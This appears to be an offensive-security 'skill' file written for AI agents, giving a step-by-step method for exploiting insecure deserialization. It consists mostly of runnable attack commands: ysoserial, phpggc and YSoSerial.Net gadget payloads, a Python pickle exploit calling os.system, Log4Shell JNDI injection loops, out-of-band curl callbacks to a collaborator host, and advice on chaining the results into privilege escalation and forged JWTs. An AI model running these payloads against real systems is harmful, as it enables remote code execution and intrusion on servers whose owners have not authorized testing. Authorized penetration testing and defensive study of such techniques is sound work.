hunt-deserialization – Coding skill for AI agents

HUNT-DESERIALIZATION — Insecure Deserialization

Crown Jewel Targets

Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.

Highest-value chains:

• Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
• PHP Object Injection — __wakeup / __destruct magic methods → file write / RCE
• Python pickle — pickle.loads(attacker_data) → __reduce__ → os.system('id')
• .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
• Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
• JNDI injection — Log4Shell pattern: ${jndi:ldap://attacker/a} → class load → RCE

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Attack Surface Signals

Detection Patterns

# Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)
echo "rO0ABXQ=" | base64 -d | xxd | head -1  # shows: ac ed 00 05

# PHP serialization: O:8:"stdClass":0:{}
# Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02

# Apache Shiro: rememberMe cookie present
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"

# Log4j: test user-controlled fields for JNDI interpolation
curl --max-time 30 --connect-timeout 10 -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/

Header / Cookie Signals

Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/

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Step-by-Step Hunting Methodology

Phase 1 — Java Deserialization (ysoserial)

# Install ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Generate OOB detection payload
java -jar ysoserial-all.jar CommonsCollections6 \
  'curl http://COLLAB_HOST/ysoserial' | base64 -w0

# Send as body or cookie
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 | \
  curl --max-time 30 --connect-timeout 10 -s https://$TARGET/wls-wsat/CoordinatorPortType \
    -H "Content-Type: application/x-java-serialized-object" \
    --data-binary @-

# Apache Shiro exploit (default AES key)
python3 shiro_exploit.py -u https://$TARGET/ -c "id"

Phase 2 — PHP Object Injection

# Find unserialize() calls in source
grep -r "unserialize(" --include="*.php" .

# Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}
# Send in cookie, POST param, or hidden form field
# If error changes → deserialization confirmed

# Craft gadget chain using phpggc
git clone https://github.com/ambionics/phpggc
php phpggc -l  # list chains
php phpggc Laravel/RCE5 system id | base64

Phase 3 — Python Pickle

# Generate OOB payload
python3 -c "
import pickle, os, base64
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://COLLAB_HOST/pickle-rce',))
print(base64.b64encode(pickle.dumps(Exploit())).decode())
"

# Send as cookie or POST body
curl --max-time 30 --connect-timeout 10 -s https://$TARGET/api/load-model \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.pkl

Phase 4 — .NET ViewState

# Check if ViewState is unsigned (MAC disabled)
# Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC

# YSoSerial.Net
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64

Phase 5 — Log4Shell / JNDI

# Test all user-controlled inputs
COLLAB="COLLAB_HOST"
for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do
  curl --max-time 30 --connect-timeout 10 -s https://$TARGET/ -H "$HEADER: \${jndi:dns://$COLLAB/$HEADER}" &
done

# Test POST body fields
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d "{\"username\": \"\${jndi:ldap://$COLLAB/a}\"}"

Phase 6 — Ruby Marshal

# Look for Marshal.load in source
grep -r "Marshal.load\|Marshal.restore" --include="*.rb" .

# Gem::Requirement gadget chain via marshalable objects
# Use ruby-advisory-db gadgets

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Chain Table

| Deserialization signal | Chain to | Impact |

|-----------------------|----------|--------|

| Any deser RCE | /etc/passwd + id output | Prove arbitrary command execution |

| RCE as low-privilege user | Find SUID binaries / sudo rules | Privilege escalation → root |

| Blind RCE (OOB callback) | DNS callback → confirm exec | Sufficient for Critical PoC |

| Log4Shell | LDAP → JNDI → class load | Full RCE on JVM process |

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Automation

# OOB listener
interactsh-client -v -n 5

# JNDI exploit kit
git clone https://github.com/pimps/JNDI-Exploit-Kit

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Validation

✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed

✅ Command output in response: full RCE confirmed

Severity: Almost always Critical — RCE with server process privileges.

Verification

1. ysoserial availability — check if ysoserial is installed:

   which ysoserial 2>/dev/null || ls /opt/ysoserial*.jar 2>/dev/null | head -1 && echo "PASS: ysoserial found" || echo "NOTE: ysoserial not installed"
   

2. PHP deserialization test — verify PHP payload generation:

   php -r "echo serialize(['test'=>'value']);" 2>/dev/null && echo "PASS: PHP serialize works" || echo "NOTE: PHP not available"
   

All tests verify deserialization probing.

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Pitfalls

• ysoserial payload without gadget chain — generating a payload is not exploitation. Need to confirm the target's classpath contains the specific gadget.
• Java deserialization vs PHP unserialize — different languages, different tools. Don't cross-apply payloads.
• Base64-encoded payload but server expects raw binary — some servers accept base64, others raw. Test both encodings.
• Content-Type mismatch — Java deserialization typically expects application/x-java-serialized-object or application/octet-stream. Wrong Content-Type may cause silent rejection.
• WAF deserialization filtering — many WAFs block known ysoserial gadget signatures. The bug may still exist but require a custom gadget chain.

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Related Skills

• hunt-rce — Deserialization is the canonical server-side RCE path. Chain primitive: Java ysoserial gadget chain (CommonsCollections6) → OS command execution as the application server user → id / whoami in response or OOB callback.
• hunt-aspnet — ASP.NET ViewState deserialization is a .NET-specific RCE class. Chain primitive: __VIEWSTATEENCRYPTED="" (signed-only) + leaked <machineKey> validationKey → ysoserial.net -p ViewState -g TypeConfuseDelegate → RCE as IIS worker process.
• hunt-lfi — PHP phar:// deserialization chains file upload with PHP object injection. Chain primitive: upload a polyglot JPEG + PHAR file → include it via phar:///path/to/upload.jpg → __wakeup/__destruct magic methods called → RCE via PHP gadget chain.
• hunt-xxe — XML external entity processing often pairs with XML deserialization sinks. Chain primitive: SOAP endpoint accepts XML → XXE exfiltrates /etc/passwd via OOB DTD → combined with Java deserialization if the XML parser uses XStream or similar.
• hunt-api-misconfig — JWT alg:none or weak HMAC secret is a deserialization-equivalent — the server deserializes the token payload without verifying integrity. Chain primitive: {"alg":"none","typ":"JWT"}.{"sub":"admin","role":"admin"}. → server accepts forged JWT payload as deserialized identity.
• security-arsenal — Reach for the Deserialization Payload Tree: ysoserial Java gadget chains (CommonsCollections, Spring, JNDI, Groovy, ROME), ysoserial.net (.NET BinaryFormatter, ViewState, ObjectStateFormatter), PHPGGC (Laravel, CodeIgniter, Zend), Python pickle __reduce__, Ruby Marshal Gem::Installer, and the JNDI/Log4Shell chain.
• triage-validation — Apply the Pre-Severity Gate before claiming Critical. A Java serialized object header (AC ED 00 05 / rO0ABX) in a cookie does NOT confirm the application deserializes it — confirm by sending a crafted ysoserial payload with an OOB callback. Deserialization found = Critical, but deserialization *confirmed* = the higher value.